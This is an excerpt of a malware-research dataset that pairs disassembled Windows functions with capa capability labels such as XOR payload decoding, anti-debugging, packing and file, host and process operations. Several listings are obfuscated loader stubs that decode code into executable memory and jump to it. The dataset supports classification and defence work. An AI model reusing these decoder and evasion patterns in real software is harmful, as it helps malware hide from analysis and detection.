joyce8/EMBER2024-capa huggingface dataset:
Function at 0x2a80d818
Capabilities:
Read file on windows

Disassembly:
push 0x58
mov eax, 0x2a84c843
call fcn.2a8015aa
mov edi, ecx
xor ebx, ebx
lea eax, [ebp - 0x30]
push 0x14
push ebx
push eax
mov dword [ebp - 0x10], ebx
call sub.VCRUNTIME140.dll_memset
add esp, 0xc
push ebx
push ebx
push 1
push ebx
call dword [sym.imp.kernel32.dll_CreateEventA]
mov esi, eax
mov dword [ebp - 0x14], esi
mov eax, dword [edi + 8]
mov dword [ebp - 0x20], esi
mov dword [ebp - 0x1c], esi
mov dword [ebp - 4], ebx
mov eax, dword [eax + 0x14]
mov dword [ebp - 0x18], eax
cmp esi, 0xffffffff
je 0x2a80d924
lea eax, [ebp - 0x30]
push eax
lea eax, [ebp - 0x10]
push eax
push dword [ebp + 0xc]
push dword [ebp + 8]
push dword [edi + 4]
call dword [sym.imp.kernel32.dll_ReadFile]
test eax, eax
jne 0x2a80d90e
call dword [sym.imp.kernel32.dll_GetLastError]
cmp eax, 0x3e5
jne 0x2a80d8f3
push 0xffffffffffffffff
push ebx
lea eax, [ebp - 0x1c]
push eax
push 2
call dword [sym.imp.kernel32.dll_WaitForMultipleObjects]
sub eax, ebx
je 0x2a80d8bb
sub eax, 1
jne 0x2a80d865
lea ecx, [ebp - 0x64]
call fcn.2a80ceef
push 0x2a85b05c
jmp 0x2a80d949
push 1
lea eax, [ebp - 0x10]
push eax
lea eax, [ebp - 0x30]
push eax
push dword [edi + 4]
call dword [sym.imp.kernel32.dll_GetOverlappedResult]
test eax, eax
jne 0x2a80d90e
call dword [sym.imp.kernel32.dll_GetLastError]
cmp eax, 0x6d
je 0x2a80d8a9
push ebx
push 0xffffffffffffffff
push str.unexpected_error
lea ecx, [ebp - 0x48]
call fcn.2a801558
mov byte [ebp - 4], 2
jmp 0x2a80d938
cmp eax, 0x6d
je 0x2a80d8a9
push ebx
push 0xffffffffffffffff
push str.Read_Error
lea ecx, [ebp - 0x48]
call fcn.2a801558
mov byte [ebp - 4], 3
jmp 0x2a80d938
push esi
mov dword [ebp - 4], 4
call dword [sym.imp.kernel32.dll_CloseHandle]
call fcn.2a80187a
ret 8
push ebx
push 0xffffffffffffffff
push str.Failed_to_create_connection
lea ecx, [ebp - 0x48]
call fcn.2a801558
mov byte [ebp - 4], 1
lea eax, [ebp - 0x48]
push eax
lea ecx, [ebp - 0x64]
call fcn.2a83d9fd
push 0x2a85b040
lea eax, [ebp - 0x64]
push eax
call sub.VCRUNTIME140.dll__CxxThrowException
int3
Function at 0x2a80d983
Capabilities:
Write file on windows

Disassembly:
push 0x74
mov eax, 0x2a84c87d
call fcn.2a8015aa
mov edi, ecx
cmp dword [edi + 4], 0xffffffff
je 0x2a80dabd
xor ebx, ebx
lea eax, [ebp - 0x30]
push 0x14
push ebx
push eax
mov dword [ebp - 0x10], ebx
call sub.VCRUNTIME140.dll_memset
add esp, 0xc
push ebx
push ebx
push 1
push ebx
call dword [sym.imp.kernel32.dll_CreateEventA]
mov esi, eax
mov dword [ebp - 0x14], esi
mov eax, dword [edi + 8]
mov dword [ebp - 0x20], esi
mov dword [ebp - 0x1c], esi
mov dword [ebp - 4], ebx
mov eax, dword [eax + 0x14]
mov dword [ebp - 0x18], eax
cmp esi, 0xffffffff
jne 0x2a80d9ff
push ebx
push esi
push str.Failed_to_create_connection
lea ecx, [ebp - 0x48]
call fcn.2a801558
lea eax, [ebp - 0x48]
mov byte [ebp - 4], 1
push eax
lea ecx, [ebp - 0x64]
call fcn.2a83d9fd
push 0x2a85b040
jmp 0x2a80daca
lea eax, [ebp - 0x30]
push eax
lea eax, [ebp - 0x10]
push eax
push dword [ebp + 0xc]
push dword [ebp + 8]
push dword [edi + 4]
call dword [sym.imp.kernel32.dll_WriteFile]
test eax, eax
jne 0x2a80da54
call dword [sym.imp.kernel32.dll_GetLastError]
cmp eax, 0x3e5
jne 0x2a80da6a
push 0xffffffffffffffff
push ebx
lea eax, [ebp - 0x1c]
push eax
push 2
call dword [sym.imp.kernel32.dll_WaitForMultipleObjects]
sub eax, ebx
je 0x2a80da41
sub eax, 1
jne 0x2a80d9ff
jmp 0x2a80dabd
push 1
lea eax, [ebp - 0x10]
push eax
lea eax, [ebp - 0x30]
push eax
push dword [edi + 4]
call dword [sym.imp.kernel32.dll_GetOverlappedResult]
push esi
mov dword [ebp - 4], 3
call dword [sym.imp.kernel32.dll_CloseHandle]
call fcn.2a80187a
ret 8
call dword [sym.imp.kernel32.dll_GetLastError]
cmp eax, 0xe8
je 0x2a80daae
call dword [sym.imp.kernel32.dll_GetLastError]
cmp eax, 0xe9
je 0x2a80daae
push ebx
push 0xffffffffffffffff
push str.Connection_Closed
lea ecx, [ebp - 0x48]
call fcn.2a801558
lea eax, [ebp - 0x48]
mov byte [ebp - 4], 2
push eax
lea ecx, [ebp - 0x80]
call fcn.2a83d9fd
push 0x2a85b040
lea eax, [ebp - 0x80]
jmp 0x2a80dacd
lea ecx, [ebp - 0x80]
call fcn.2a80ceef
push 0x2a85b05c
jmp 0x2a80daa9
lea ecx, [ebp - 0x64]
call fcn.2a80ceef
push 0x2a85b05c
lea eax, [ebp - 0x64]
push eax
call sub.VCRUNTIME140.dll__CxxThrowException
int3
Function at 0x2a82cc8b
Capabilities:
Encode data using base64

Disassembly:
push 0x14
mov eax, 0x2a84f345
call fcn.2a8015aa
mov edi, dword [ebp + 0xc]
xor ecx, ecx
mov dword [ebp - 0x1c], ecx
mov dword [ebp - 0x14], edi
cmp dword [edi + 0x14], 0x10
jb 0x2a82ccad
mov eax, dword [edi]
mov dword [ebp - 0x14], eax
mov esi, dword [ebp + 8]
mov ebx, dword [edi + 0x10]
mov dword [ebp - 0x10], ebx
mov dword [ebp - 0x20], esi
mov dword [esi + 0x10], ecx
mov dword [esi + 0x14], 0xf
mov byte [esi], cl
push ecx
mov eax, ebx
mov dword [ebp - 4], ecx
shl eax, 2
push 3
pop ecx
cdq
idiv ecx
mov dword [ebp - 0x1c], 1
add eax, ecx
mov ecx, esi
push eax
call fcn.2a83d9fd
cmp dword [esi + 0x14], 0x10
mov edx, esi
jb 0x2a82ccef
mov edx, dword [esi]
xor ecx, ecx
test ebx, ebx
jle 0x2a82cda0
mov esi, dword [ebp - 0x14]
movzx eax, byte [esi + ecx]
shr eax, 2
mov al, byte [eax + str.ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789_]
mov byte [edx], al
mov bl, byte [esi + ecx]
and bl, 3
shl bl, 4
inc ecx
cmp ecx, dword [ebp - 0x10]
jge 0x2a82cd22
mov al, byte [esi + ecx]
shr al, 4
or bl, al
movzx eax, bl
mov al, byte [eax + str.ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789_]
mov byte [edx + 1], al
mov eax, dword [ebp - 0x10]
cmp ecx, eax
jge 0x2a82cd63
cmp dword [edi + 0x14], 0x10
mov ebx, edi
jb 0x2a82cd3f
mov ebx, dword [edi]
mov bl, byte [ebx + ecx]
and bl, 0xf
shl bl, 2
inc ecx
cmp ecx, eax
jge 0x2a82cd55
mov al, byte [esi + ecx]
shr al, 6
or bl, al
movzx eax, bl
mov bl, byte [eax + str.ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789_]
mov eax, dword [ebp - 0x10]
jmp 0x2a82cd65
mov bl, 0x3d
lea esi, [edx + 3]
mov byte [edx + 2], bl
mov dword [ebp - 0x18], esi
mov edx, esi
mov esi, dword [ebp - 0x14]
inc edx
cmp ecx, eax
jge 0x2a82cd8a
movzx eax, byte [esi + ecx]
and eax, 0x3f
mov bl, byte [eax + str.ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789_]
mov eax, dword [ebp - 0x10]
jmp 0x2a82cd8c
mov bl, 0x3d
mov esi, dword [ebp - 0x18]
inc ecx
mov byte [esi], bl
mov esi, dword [ebp - 0x14]
cmp ecx, eax
jl 0x2a82ccfc
mov esi, dword [ebp - 0x20]
cmp dword [esi + 0x14], 0x10
mov eax, esi
jb 0x2a82cdaa
mov eax, dword [esi]
push 0
sub edx, eax
mov ecx, esi
push edx
call fcn.2a83d9fd
mov eax, esi
call fcn.2a80187a
ret

Function at 0x2a82f2c5
Capabilities:
Get hostname

Disassembly:
push 0x448
mov eax, 0x2a84f81b
call fcn.2a84a907
mov esi, dword [ebp + 8]
lea eax, [ebp - 0x410]
mov edi, 0x400
mov dword [ebp - 0x450], esi
push edi
xor ebx, ebx
push ebx
push eax
call sub.VCRUNTIME140.dll_memset
add esp, 0xc
lea eax, [ebp - 0x410]
push edi
push eax
call dword [sym.imp.WS2_32.dll_gethostname]
test eax, eax
jne 0x2a82f329
lea eax, [ebp - 0x410]
mov dword [esi + 0x10], ebx
mov dword [esi + 0x14], 0xf
mov ecx, esi
push eax
mov byte [esi], bl
call fcn.2a805678
mov eax, esi
call fcn.2a84a8e5
ret
push 0x93
lea ecx, [ebp - 0x454]
call fcn.2a83d9fd
lea ecx, [ebp - 0x44c]
mov dword [ebp - 4], ebx
push ecx
mov ecx, eax
call fcn.2a827d86
push eax
lea ecx, [ebp - 0x434]
mov byte [ebp - 4], 1
call fcn.2a821de4
push 0x2a85dc48
lea eax, [ebp - 0x434]
push eax
call sub.VCRUNTIME140.dll__CxxThrowException
int3
Function at 0x2a83d9fd
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x60
pushal
call 0x2a83da0c
pop dword [ebp - 0x50]
mov eax, 0x9a9aa26b
add eax, 0x8fe937a1
sub dword [ebp - 0x50], eax
mov dword [ebp - 0x60], 0xc207eea8
sub dword [ebp - 0x60], 0x73b5a95d
mov dword [ebp - 0x5c], 0xaa5ce935
add dword [ebp - 0x5c], 0x87d66310
mov dword [ebp - 0x58], 0xc8bd1ae
add dword [ebp - 0x58], 0x3fc07280
mov dword [ebp - 0x54], 0xc908c1ee
add dword [ebp - 0x54], 0x36f73e12
lea eax, [ebp - 0x60]
push eax
mov eax, 0xc66a67c5
add eax, 0x641ab97f
add eax, dword [ebp - 0x50]
call dword [eax]
mov dword [ebp - 0x60], 0x2cee6b9
sub dword [ebp - 0x60], 0x8e5c7d63
mov dword [ebp - 0x5c], 0xe72bcbda
add dword [ebp - 0x5c], 0x5a40959b
mov dword [ebp - 0x58], 0xc0535e6a
sub dword [ebp - 0x58], 0x5ce3f1fe
mov dword [ebp - 0x54], 0x38994fc5
add dword [ebp - 0x54], 0xc766b03b
lea ebx, [ebp - 0x60]
push ebx
push eax
mov eax, 0x8043e397
sub eax, 0x55bec25b
add eax, dword [ebp - 0x50]
call dword [eax]
push 0x40
push 0x1000
push 0x4c504
push 0
call eax
mov ecx, 0xd9b327cb
add ecx, 0x264d27c1
mov ebx, eax
mov esi, 0xe01138c0
sub esi, 0xb5894ec0
add esi, dword [ebp - 0x50]
mov edi, 0x3357cb73
add dword [ebp - 0x4c], eax
mov edx, dword [esi]
xor dword [ebp - 0x34], 0x4806fed5
sub edx, edi
xor dword [ebp - 0x24], 0xe5523dca
mov dword [ebx], edx
add dword [ebp - 0x18], 0xf68810c3
add ebx, 0xac82a9d3
add ebx, 0x537d5631
add esi, 0x65d5c259
sub esi, 0x65d5c255
loop 0x2a83db28
add eax, 0x13103
xor ebx, ebx
add ebx, eax
add eax, 0xc9611634
sub eax, 0xc961162f
mov ecx, 0x29f78cb2
add ecx, 0x88734e
add ecx, dword [ebp - 0x50]
call ebx
leave
ret
Function at 0x2a84a76f
Capabilities:
Create process on windows

Disassembly:
push 0x48
mov eax, 0x2a851e75
call fcn.2a8015aa
mov edi, ecx
push 0x44
pop esi
push esi
xor ebx, ebx
lea eax, [ebp - 0x54]
push ebx
push eax
call sub.VCRUNTIME140.dll_memset
push 0x10
mov dword [ebp - 0x54], esi
call fcn.2a83d9fd
mov esi, eax
add esp, 0x10
mov dword [ebp - 0x10], esi
mov dword [ebp - 4], ebx
test esi, esi
je 0x2a84a7b4
push 0x10
push ebx
push esi
call sub.VCRUNTIME140.dll_memset
add esp, 0xc
jmp 0x2a84a7b6
mov esi, ebx
or dword [ebp - 4], 0xffffffff
mov ecx, edi
mov dword [edi + 0x24], esi
call fcn.2a849b77
push dword [edi + 0x24]
lea ecx, [ebp - 0x54]
push ecx
push ebx
push ebx
push ebx
push ebx
push ebx
push ebx
push eax
push ebx
call dword [sym.imp.kernel32.dll_CreateProcessW]
call fcn.2a80187a
ret
Function at 0x401b4b
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x3c
pushal
call 0x401b5a
pop dword [ebp - 0x2c]
mov eax, 0xde415032
add eax, 0x21fecb28
sub dword [ebp - 0x2c], eax
mov dword [ebp - 0x3c], 0xe76ec588
sub dword [ebp - 0x3c], 0x991c803d
mov dword [ebp - 0x38], 0xd813978c
sub dword [ebp - 0x38], 0xa5e04b47
mov dword [ebp - 0x34], 0xc8d7cf6e
sub dword [ebp - 0x34], 0x7c8b8b40
mov dword [ebp - 0x30], 0xfd1f28ba
add dword [ebp - 0x30], 0x2e0d746
lea eax, [ebp - 0x3c]
push eax
mov eax, sym.imp.kernel32.dll_LoadLibraryA
add eax, dword [ebp - 0x2c]
call dword [eax]
mov dword [ebp - 0x3c], 0xb21d5642
sub dword [ebp - 0x3c], 0x3daaecec
mov dword [ebp - 0x38], 0x4484a263
add dword [ebp - 0x38], 0xfce7bf12
mov dword [ebp - 0x34], 0xaa2d511b
add dword [ebp - 0x34], 0xb9421b51
mov dword [ebp - 0x30], 0x2b03a9ec
add dword [ebp - 0x30], 0xd4fc5614
lea ebx, [ebp - 0x3c]
push ebx
push eax
mov eax, 0x9b177eb9
add eax, 0x65295193
add eax, dword [ebp - 0x2c]
call dword [eax]
push 0x40
push 0x1000
push 0x39861
push 0
call eax
mov ecx, 0x474a
xor ebx, ebx
add ebx, eax
mov esi, 0x2fdba14e
add esi, 0xd0660eb2
add esi, dword [ebp - 0x2c]
mov edx, 0x895c7912
sub dword [ebp - 0x14], edi
mov edi, dword [esi]
xor dword [ebp - 0x1c], 0x44211d71
sub edi, edx
xor dword [ebp - 0xc], 0x9978c941
mov dword [ebx], edi
add dword [ebp - 0x10], 0x68a04f0c
add ebx, 4
add esi, 0x3ec48208
add esi, 0xc13b7dfc
loop 0x401c6d
add eax, 0x8f50e2b4
sub eax, 0x8f4fd2b9
mov ebx, eax
add eax, 0x433dabe2
sub eax, 0x433dabdd
mov ecx, 0xb6d8685c
sub ecx, 0xb698685c
add ecx, dword [ebp - 0x2c]
call ebx
leave
ret

Function at 0x401ea2
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x410284]
jne 0x401eac
repz ret
jmp fcn.00403e53
Function at 0x414e4f
Capabilities:
Get thread local storage value

Disassembly:
push ebx
push esi
mov esi, ecx
lea ebx, [esi + 0x1c]
push ebx
call dword [sym.imp.KERNEL32.dll_EnterCriticalSection]
cmp dword [esp + 0x10], 0
jne 0x414e7d
push dword [esi]
call dword [sym.imp.KERNEL32.dll_TlsGetValue]
test eax, eax
je 0x414e9b
push dword [esp + 0xc]
mov ecx, esi
push eax
call fcn.00414db5
jmp 0x414e9b
mov eax, dword [esi + 0x14]
test eax, eax
je 0x414e9b
push edi
push dword [esp + 0x10]
mov edi, dword [eax + 4]
mov ecx, esi
push eax
call fcn.00414db5
test edi, edi
mov eax, edi
jne 0x414e85
pop edi
push ebx
call dword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
pop esi
pop ebx
ret 8
Function at 0x1003d0bd
Capabilities:
Encode data using xor

Disassembly:
cmpsb byte [esi], byte es:[edi]
ljmp 0xd13
cmp byte ds:[eax], dh
invalid
add eax, 0xd2d1d85b
out dx, al
adc ch, byte [esi + ebx*2 + 0x14]
or edi, dword gs:[ebx]
jle 0x1003d095
jmp 0x1003d088
Function at 0x1029bf6d
Capabilities:
Execute anti-debugging instructions

Disassembly:
jns 0x1029bec3
push word [esp + 5]
push word [esp]
jmp 0x1029bed7
pop dword [esp + 1]
pop dword [esp]
mov dword [esp + 0x30], ebp
push edi
jmp 0x1029bf15
push word [esp + 5]
push word [esp]
push word [esp + 7]
jmp 0x1029beaa
push word [esp + 7]
pop dword [esp + 1]
pop dword [esp]
jmp 0x1029beb1
mov dword [esp + 0x30], esp
pushfd
push word [esp]
jmp 0x1029be9d
lea esp, [esp + 2]
lea esp, [esp + 2]
mov dword [esp + 0x2c], esi
pushfd
mov dword [esp + 0x2c], edi
lea esp, [esp + 0x2c]
call 0x1029bf30
inc byte [edi - 0x5417dbd4]
add byte [eax], al
add ch, cl
dec ecx
fnstcw word [eax - 0x159250b5]
js 0x1029bf61
ljmp 0x9fa:0x9f0f8b6d
inc ebp
scasd eax, dword es:[edi]
test byte [edx + ebx*4], al
std
or al, 0xfe
xor dword [eax], esi
xor ebp, dword [edx]
xchg dword [esp + 8], ebp
call fcn.1029bf52

Function at 0x1029c1fa
Capabilities:
Execute anti-debugging instructions

Disassembly:
mov edx, dword [esp + 3]
add esi, dword [ebp]
jmp fcn.1029c1e4

Function at 0x102db7f7
Capabilities:
Encrypt data using aes

Disassembly:
mov dword [esp + 4], edi
pushal
lea esp, [esp + 0x20]
popal
mov dword [esi], ecx
pop esi
jmp 0x102db6e7
push edx
mov dword [esp], eax
push esi
pushal
jmp 0x102db6c9
mov dl, 0xff
jmp 0x102db728
sbb dx, 0x8a28
mov dl, ch
lea edx, reloc.WINMM.dll_midiStreamRestart
bswap edx
add ebx, 4
jmp 0x102db6df
lea esp, [esp + 1]
jmp 0x102db775
mov edx, dword [eax + 4]
xor edx, ecx
xor cx, sp
sub esp, 1
jmp 0x102db712
lea edi, [eax + 0x10]
mov edx, dword [esp]
mov edx, dword [esp]
dec edx
xor ecx, dword [eax]
jmp 0x102db6fe
xor ecx, edx
stc
mov dword [eax + 0x18], ecx
mov dh, byte [esp]
mov edx, ebp
jmp 0x102db797
mov dword [eax + 0x14], edx
bsr cx, ax
mov ecx, dword [eax + 8]
jmp 0x102db758
add ebx, 0xc
mov edx, dword [ebx]
pop ebx
pushal
jmp 0x102db79f
bts edx, edi
push ebx
mov ebx, eax
jmp 0x102db781
xor edx, ecx
call fcn.102db7d9
loopne 0x102db80f
not dword [edx - reloc.WINMM.dll_midiStreamRestart]
push cs
imul ebx, dword [eax - reloc.WINMM.dll_midiStreamRestart], 0xca33c9fe
xor ecx, edx
lea esp, [esp + 0x28]
xor ecx, dword [ebx]
not edx
jmp 0x102db74a
xor ecx, dword [ebp + reloc.WINMM.dll_midiStreamRestart]
test dword [eax], esi
cli
push dword [esi + ebx*8 + 0x29]
test al, 0x3e
pop ecx
test al, 0x5c
inc ecx
lds edx, [ebp + 0x3c]
iretd
int1
jbe 0x102db7f6
cmp dword [esi - 7], reloc.WINMM.dll_midiStreamRestart
push cs
lea esp, [esp + 0x2c]
cmp ebx, 0x1029af50
call 0x102db7f7
mov bl, byte [esp]
mov ebp, esi
jmp 0x102db85c
not bx
lea ebx, [ebp*4]
jmp 0x102dba75
pop edi
mov ebx, 0xa447b9d5
pop esi
lea ebp, [ebp*4]
jmp 0x102db846
xor ecx, edi
and edx, ebp
mov di, word [esp]
jmp 0x102db7b7
pop ebp
not ebx
mov bx, dx
pop ebx
ret
movzx edi, byte [edi*4 + 0x10299728]
jmp 0x102db87c
Function at 0x102dbae6
Capabilities:
Encrypt data using aes

Disassembly:
mov dword [esp + 4], edi
pushal
lea esp, [esp + 0x20]
popal
mov dword [esi], ecx
pop esi
jmp 0x102db6e7
push edx
mov dword [esp], eax
push esi
pushal
jmp 0x102db6c9
mov dl, 0xff
jmp 0x102db728
sbb dx, 0x8a28
mov dl, ch
lea edx, reloc.WINMM.dll_midiStreamRestart
bswap edx
add ebx, 4
jmp 0x102db6df
lea esp, [esp + 1]
jmp 0x102db775
mov edx, dword [eax + 4]
xor edx, ecx
xor cx, sp
sub esp, 1
jmp 0x102db712
lea edi, [eax + 0x10]
mov edx, dword [esp]
mov edx, dword [esp]
dec edx
xor ecx, dword [eax]
jmp 0x102db6fe
xor ecx, edx
stc
mov dword [eax + 0x18], ecx
mov dh, byte [esp]
mov edx, ebp
jmp 0x102db797
mov dword [eax + 0x14], edx
bsr cx, ax
mov ecx, dword [eax + 8]
jmp 0x102db758
add ebx, 0xc
mov edx, dword [ebx]
pop ebx
pushal
jmp 0x102db79f
bts edx, edi
push ebx
mov ebx, eax
jmp 0x102db781
xor edx, ecx
call fcn.102db7d9
loopne 0x102db80f
not dword [edx - reloc.WINMM.dll_midiStreamRestart]
push cs
imul ebx, dword [eax - reloc.WINMM.dll_midiStreamRestart], 0xca33c9fe
xor ecx, edx
lea esp, [esp + 0x28]
xor ecx, dword [ebx]
not edx
jmp 0x102db74a
xor ecx, dword [ebp + reloc.WINMM.dll_midiStreamRestart]
test dword [eax], esi
cli
push dword [esi + ebx*8 + 0x29]
test al, 0x3e
pop ecx
test al, 0x5c
inc ecx
lds edx, [ebp + 0x3c]
iretd
int1
jbe 0x102db7f6
cmp dword [esi - 7], reloc.WINMM.dll_midiStreamRestart
push cs
lea esp, [esp + 0x2c]
cmp ebx, 0x1029af50
call 0x102db7f7
mov bl, byte [esp]
mov ebp, esi
jmp 0x102db85c
not bx
lea ebx, [ebp*4]
jmp 0x102dba75
pop edi
mov ebx, 0xa447b9d5
pop esi
lea ebp, [ebp*4]
jmp 0x102db846
xor ecx, edi
and edx, ebp
mov di, word [esp]
jmp 0x102db7b7
pop ebp
not ebx
mov bx, dx
pop ebx
ret
movzx edi, byte [edi*4 + 0x10299728]
jmp 0x102db87c
Function at 0x102dd55e
Capabilities:
Encrypt data using speck

Disassembly:
lea esp, [esp + 0x14]
jmp 0x102b2d07
mov ebp, dword [esp + 0xd]
jmp 0x1028b4e6
cmp dword [ebp + 0xc], 3
call fcn.102dd215
inc ebx
cli
aad 0x44
push 0xfffffffffffffffd
xor eax, 0x49c5e0
stosb byte es:[edi], al
test eax, 0x6c8b6652
and al, 3
push ebp
bswap ebp
mov ebp, esp
jmp 0x102dd16d
jmp 0x102dd57b
cmp esi, eax
setne cl
pushfd
call fcn.102dd5a6
xchg byte [edx + ebx*4], al
std
or al, 0xe2
xor byte [ecx + 0x5db34021], dh
xor dh, byte [edx + 0x40b24720]
xor ebp, eax
rol byte [0xa8290000], cl
pop ecx
test al, 0x5c
inc ecx
lds edx, [ebp + 0x3c]
iretd
pushfd
lea esp, [esp + 4]
jmp 0x102dd667
cmp dword [ebp + 0xc], 2
mov edx, dword [esp]
mov dl, bl
jmp 0x102dd5a8
call fcn.102dd61f
lea esp, [esp + 4]
cmp edi, 0x34
jae 0x102dd111
pushal
jmp 0x102dd900
cmp dword [ebp + 0xc], 3
call fcn.102dd670
aam 0x51
shl dword [eax - reloc.WINMM.dll_midiStreamRestart], 0x40
daa
sar byte [ebx + edx*8], cl
cmp edi, eax
jmp 0x102dd791
stc
jmp 0x102dd196
lea eax, [ebx - 0xc4]
bswap eax
mov eax, dword [esp]
movzx eax, byte [ecx]
sub esp, 0
jmp 0x102dd157
shl eax, 0x10
call fcn.102dd180
lea esp, [esp + 4]
cmp dword [ebp + 0xc], 2
pushal
jmp 0x102dd54c
mov byte [edx + 2], cl
jmp 0x102dd084
lea esp, [esp + 0x20]
jb 0x1028b51c
mov dx, si
call fcn.102dd24e
push dword [esp + 3]
jmp 0x102dd591
xor ecx, ecx
jmp 0x102dcfd2
lea esp, [esp + 0xc]
jae 0x102dcfcd
lea ecx, [ebx + esi]
lea ecx, [esi - 4]
jmp 0x102dd025
mov edx, dword [ebp + 8]
mov byte [edx + 1], cl
jb 0x102dd006
jae 0x102dd5c9
leave
dec ecx
fnstcw word [eax - 0x159658b5]
js 0x102dd5df
ljmp 0xbfac:0x5d228b06
clc
sub esp, 0x14
push word [esp + 8]
lea esp, [esp + 2]
jmp 0x102dd605
lea esp, [esp + 8]
lea ecx, [ecx*4 + 0x2b]
jmp 0x102dd025
jae 0x102dd03b
setnp ch
mov cx, 0xc8b0
call fcn.102dd613
xor byte [ebx], dh
sub al, byte [ebp - 0x73]
and al, 0x14
lea esp, [esp + 0x14]
cmp edi, 0x1a
push edi
lea esp, [esp + 4]
jmp 0x102dd5ef
mov byte [edx + 2], 0x3d
jmp 0x102dd084
jae 0x102dd0d6
setp cl
mov ecx, dword [esp]
call fcn.102dd689
lea esp, [esp + 0x20]
lea ecx, [edi + 0x47]
jmp 0x102dd1cb

Function at 0x103dfb53
Capabilities:
Execute anti-debugging instructions

Disassembly:
not bx
clc
cmc
mov bx, 0xd0e
lea edx, [ebx*4]
jmp 0x103dfb75
lea edi, [esi*4]
setg ch
jmp 0x103dfb3d
stc
push ax
xchg dx, bp
add esp, 1
bt bp, cx
setge dl
jmp 0x103dfbc8
not edi
pop edx
mov ah, bl
mov di, bx
sete dh
lea ebp, [esi + 0xc7]
jmp 0x103dfb5f
xchg cx, dx
xchg byte [esp], dh
setne ah
xchg di, ax
xchg edi, edx
add esp, 0
jmp 0x103dfba7

Function at 0x103e04b6
Capabilities:
Execute anti-debugging instructions

Disassembly:
lea esp, [esp + 1]
xchg bh, dh
std
rdtsc
rol si, 0xb
jmp 0x103e04c6
lea ebp, [eax + 0x99]
pop ecx
sub esp, 7
sete ch
clc
jmp 0x103e04a0
mov si, 0xf91b
pop ebx
add esp, 1
mov cx, 0x7373
pushfd
xchg byte [esp + 1], ch
jmp 0x103e0623
mov ebx, dword [esp + 2]
Function at 0x103e07ed
Capabilities:
Execute anti-debugging instructions

Disassembly:
lea esp, [esp + 0x22]
xchg word [esp + 3], ax
xchg byte [esp + 1], bh
pop cx
jmp 0x103e09b8
xchg edi, ecx
xchg esi, eax
mov ebp, eax
sub esp, 0xf
adc dl, al
pop dword [esp + 8]
jmp 0x103e0837
lea esp, [esp + 2]
cpuid
xchg word [esp + 1], dx
pop bp
mov edi, eax
xchg bx, di
jmp 0x103e093e

Function at 0x103e42b6
Capabilities:
Execute anti-debugging instructions

Disassembly:
mov dl, byte [esp + 0xd]
bsr edi, ecx
xchg word [esp + 0xa], si
add esp, 0x19
jmp 0x103e4226

Function at 0x103e5158
Capabilities:
Packed with generic packer
Parse pe header

Disassembly:
call fcn.103e40b8
mov dword [esp + 0x40], edi
lea esp, [esp + 0x40]
jmp 0x103e5170
jmp 0x103e5142
mov eax, dword [eax + 0xc]
jmp 0x103e51a3
mov eax, dword fs:[0x30]
jmp 0x103e515a
mov eax, dword [eax + 0x1c]
mov eax, dword [eax]
mov eax, dword [eax + 8]
jmp 0x103e51ce
push eax
jmp 0x103e40b3

Function at 0x103e51c4
Capabilities:
Packed with generic packer
Parse pe header

Disassembly:
lea esp, [esp + 2]
mov dword [esp + 0x40], ebp
push esp
mov byte [esp], ah
mov word [esp], bp
mov dword [esp + 0x40], esi
call fcn.103e5158
mov dword [esp + 2], esi
mov byte [esp + 0xc], al
jmp 0x103e518a

Function at 0x103e5223
Capabilities:
Packed with generic packer
Parse pe header

Disassembly:
mov dword [esp + 0x28], esp
pushal
pop dword [esp + 3]
pop word [esp + 0x15]
call fcn.103e51c4
lea esp, [esp + 5]
lea esp, [esp + 1]
jmp 0x103e51f1